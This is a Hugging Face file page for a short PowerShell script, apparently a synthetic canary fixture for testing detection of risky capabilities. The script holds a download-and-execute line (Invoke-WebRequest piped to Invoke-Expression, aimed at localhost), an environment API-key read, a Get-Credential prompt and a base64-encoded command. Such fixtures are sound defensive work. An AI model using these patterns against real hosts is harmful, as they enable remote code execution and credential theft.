Download security.ps1 from LayerFault/powershell-capability-chain: direct link, hf CLI and curl.
- Browser
- Download file 565 Bytes
-
https://huggingface.co/LayerFault/powershell-capability-chain/resolve/main/security.ps1
- Command line
-
hf download hf://LayerFault/powershell-capability-chain/security.ps1
-
curl -L -o security.ps1 https://huggingface.co/LayerFault/powershell-capability-chain/resolve/main/security.ps1
565 Bytes
| $fake = $env:LAYERFAULT_SYNTHETIC_API_KEY | |
| Invoke-Expression "'LAYERFAULT_CANARY'" | |
| Invoke-WebRequest -Uri "http://127.0.0.1:9" | Invoke-Expression | |
| Invoke-WebRequest -Uri "http://127.0.0.1:9/status" | |
| Start-Process -FilePath "cmd.exe" -ArgumentList "/c echo LAYERFAULT_CANARY" | |
| Add-Type -TypeDefinition "public class LayerfaultSyntheticNative {}" | |
| Get-Credential -Message "layerfault synthetic canary" | |
| powershell.exe -EncodedCommand VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAEwAQQBZAEUAUgBGAEEAVQBMAFQAXwBDAEEATgBBAFIAWQAnAA== | |
| Install-Module -Name LayerfaultSynthetic -WhatIf | |